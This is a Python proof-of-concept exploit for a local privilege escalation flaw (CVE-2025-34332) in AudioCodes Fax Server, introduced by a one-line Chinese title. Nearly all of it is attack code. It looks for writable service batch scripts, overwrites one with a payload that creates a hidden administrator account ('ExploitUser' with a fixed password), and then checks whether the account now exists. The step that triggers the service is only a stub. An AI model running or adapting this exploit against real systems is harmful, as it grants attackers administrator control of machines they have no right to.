CVE-2025-34332 AudioCodes Fax Server本地权限提升漏洞

# CVE-2025-34332 AudioCodes Fax Server LPE PoC # This PoC demonstrates local privilege escalation via writable service scripts import os import subprocess import time TARGET_DIR = r'C:\F2MAdmin\F2E\AudioCodes_files\utils\Services' BACKUP_EXT = '.bak' def check_script_permissions(): """Check if service scripts are writable by current user""" if not os.path.exists(TARGET_DIR): print(f"[-] Target directory not found: {TARGET_DIR}") return False scripts = [f for f in os.listdir(TARGET_DIR) if f.endswith('.bat')] writable_scripts = [] for script in scripts: script_path = os.path.join(TARGET_DIR, script) # Check write permission if os.access(script_path, os.W_OK): writable_scripts.append(script) print(f"[+] Writable script found: {script}") return writable_scripts def backup_script(script_path): """Backup original script content""" backup_path = script_path + BACKUP_EXT try: with open(script_path, 'r') as f: original_content = f.read() with open(backup_path, 'w') as f: f.write(original_content) print(f"[+] Backup created: {backup_path}") return original_content except Exception as e: print(f"[-] Backup failed: {e}") return None def inject_payload(script_path, payload): """Inject malicious payload into script""" try: with open(script_path, 'w') as f: f.write(payload) print(f"[+] Payload injected into: {script_path}") return True except Exception as e: print(f"[-] Injection failed: {e}") return False def trigger_service_action(): """Trigger service action via ajaxPost.php to execute modified script""" # This would typically be an HTTP request to the web interface # Example: POST request to ajaxPost.php with service action parameters print("[*] Triggering service action via web interface...") print("[*] Waiting for scheduled service operation...") time.sleep(5) return True def main(): print("=" * 60) print("CVE-2025-34332 AudioCodes Fax Server LPE Exploit") print("=" * 60) # Step 1: Check for writable scripts print("\n[Step 1] Checking script permissions...") writable_scripts = check_script_permissions() if not writable_scripts: print("[-] No writable scripts found or not vulnerable") return # Step 2: Select target script and backup target_script = writable_scripts[0] script_path = os.path.join(TARGET_DIR, target_script) print(f"\n[Step 2] Backing up original script...") original_content = backup_script(script_path) if not original_content: return # Step 3: Inject malicious payload print("\n[Step 3] Injecting privilege escalation payload...") # Payload: Create a new admin user payload = f'''@echo off REM Malicious payload for CVE-2025-34332 net user ExploitUser P@ssw0rd123 /add net localgroup Administrators ExploitUser /add REM Restore original script content {original_content} ''' inject_payload(script_path, payload) # Step 4: Trigger service action print("\n[Step 4] Triggering service action...") trigger_service_action() # Step 5: Verify exploitation print("\n[Step 5] Verifying privilege escalation...") result = subprocess.run('net user ExploitUser', capture_output=True, text=True) if 'ExploitUser' in result.stdout: print("[+] SUCCESS: New admin user created!") print("[+] Username: ExploitUser") print("[+] Password: P@ssw0rd123") else: print("[-] Exploitation may have failed or requires manual trigger") print("\n[!] Remember to restore original script after testing") if __name__ == '__main__': main()